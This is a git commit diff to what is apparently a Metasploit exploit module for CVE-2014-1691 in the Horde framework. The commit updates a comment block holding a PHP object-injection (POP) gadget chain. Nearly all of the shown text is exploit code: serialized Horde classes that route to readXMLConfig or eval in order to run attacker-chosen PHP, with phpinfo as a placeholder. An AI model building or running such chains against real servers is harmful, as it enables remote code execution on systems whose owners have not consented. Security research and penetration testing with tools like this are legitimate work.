Update POP chain documentation
parent
77c128fbc5
commit
379c0efd5a
|
@ -94,56 +94,51 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
=begin
|
=begin
|
||||||
|
|
||||||
PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
|
PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
|
||||||
|
|
||||||
$phpcode = '"&&eval("phpinfo();die;")=="';
|
class Horde_Config
|
||||||
|
|
||||||
class Horde_Date_Parser_Token
|
|
||||||
{
|
{
|
||||||
public $tags = array('A');
|
protected $_oldConfig = "phpinfo();die;";
|
||||||
}
|
}
|
||||||
|
|
||||||
class Horde_Prefs_Scope
|
class Horde_Prefs_Scope
|
||||||
{
|
{
|
||||||
protected $_prefs;
|
protected $_prefs = array(1);
|
||||||
|
|
||||||
function __construct()
|
|
||||||
{
|
|
||||||
$this->_prefs = array($GLOBALS['phpcode'] => 1);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
class Horde_Prefs
|
class Horde_Prefs
|
||||||
{
|
{
|
||||||
protected $_opts, $_scopes;
|
protected $_opts, $_scopes;
|
||||||
|
|
||||||
function __construct()
|
function __construct()
|
||||||
{
|
{
|
||||||
$this->_opts['sizecallback'] = array(new Horde_Date_Parser_Token, 'untag');
|
$this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
|
||||||
$this->_scopes['horde'] = new Horde_Prefs_Scope;
|
$this->_scopes['horde'] = new Horde_Prefs_Scope;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class Horde_Prefs_Identity
|
class Horde_Prefs_Identity
|
||||||
{
|
{
|
||||||
protected $_prefs, $_prefnames;
|
protected $_prefs, $_prefnames;
|
||||||
|
|
||||||
function __construct()
|
function __construct()
|
||||||
{
|
{
|
||||||
$this->_prefs = new Horde_Prefs;
|
$this->_prefs = new Horde_Prefs;
|
||||||
$this->_prefnames['identities'] = $GLOBALS['phpcode'];
|
$this->_prefnames['identities'] = 0;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
class Horde_Kolab_Server_Decorator_Clean
|
class Horde_Kolab_Server_Decorator_Clean
|
||||||
{
|
{
|
||||||
private $_server, $_added = array(1);
|
private $_server, $_added = array(1);
|
||||||
|
|
||||||
function __construct()
|
function __construct()
|
||||||
{
|
{
|
||||||
$this->_server = new Horde_Prefs_Identity;
|
$this->_server = new Horde_Prefs_Identity;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
|
$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
|
||||||
|
|
||||||
=end
|
=end
|
Loading…
Reference in New Issue